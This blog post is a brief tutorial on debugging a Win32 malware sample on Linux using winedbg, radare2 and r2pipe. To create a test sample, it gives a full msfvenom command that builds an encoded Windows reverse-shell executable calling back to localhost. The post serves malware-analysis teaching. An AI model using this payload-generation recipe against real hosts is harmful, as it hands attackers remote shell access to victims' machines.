reversing,

Dynamic win32 malware analysis on Linux

Jose Ramon Palanco Jose Ramon Palanco Follow Feb 24, 2019 · 1 min read
Dynamic win32 malware analysis on Linux
Share this

Sometimes we don’t have a Windows machine for analyzing a malware sample. If the sample is very simple and is not interacting much with the operating system, we can use Linux.

First we will create a pretty simple PE file using metasploit, this will create a reverse shell on 31337 port at localhost. :

msfvenom -a x86 --platform windows -p windows/shell/reverse\_tcp \\
LHOST=127.0.0.1 LPORT=31337 -b "\\x00" -e x86/shikata\_ga\_nai -f exe -o /tmp/1.exe

Now we have a sample we will use wine debugger pausing the sample:

winedbg --gdb --no-start /tmp/1.exe

Pretty simple, right? We can now connect to to the gdb socker using gdb, but in our case we will use radare2:

r2 -d -a x86 -b 32 gdb://localhost:55193

Now we have a radare2 session, but we can automate our analysis using r2pipe and your favorite language, in my case python. Just remember to use json ”cmdj” output in your commands so it will be easy to parse.

import r2pipe
r2 = r2pipe.open ('gdb://127.0.0.1:55193',
                     \['-d', '-a x86', '-b 32',
                      '-e dbg.exe.path=/tmp/1,exe'\])

r2.cmd("aaa")
function\_list = r2.cmdj("aflj")
# ...
# ...

 

Happy malware reversing!!

Jose Ramon Palanco
Written by Jose Ramon Palanco Follow
Jose Ramón Palanco is the CEO/CTO of Plexicus, a pioneering company in ASPM (Application Security Posture Management) launched in 2024, offering AI-powered remediation capabilities. Previously, he founded Dinoflux in 2014, a Threat Intelligence startup that was acquired by Telefonica, and has been working with 11paths since 2018. His experience includes roles at Ericsson's R&D department and Optenet (Allot). He holds a Telecommunications Engineering degree from the University of Alcala de Henares and a Master's in IT Governance from the University of Deusto. As a recognized cybersecurity expert, he has been a speaker at various prestigious conferences including OWASP, ROOTEDCON, ROOTCON, MALCON, and FAQin. His contributions to the cybersecurity field include multiple CVE publications and the development of various open source tools such as nmap-scada, ProtocolDetector, escan, pma, EKanalyzer, SCADA IDS, and more.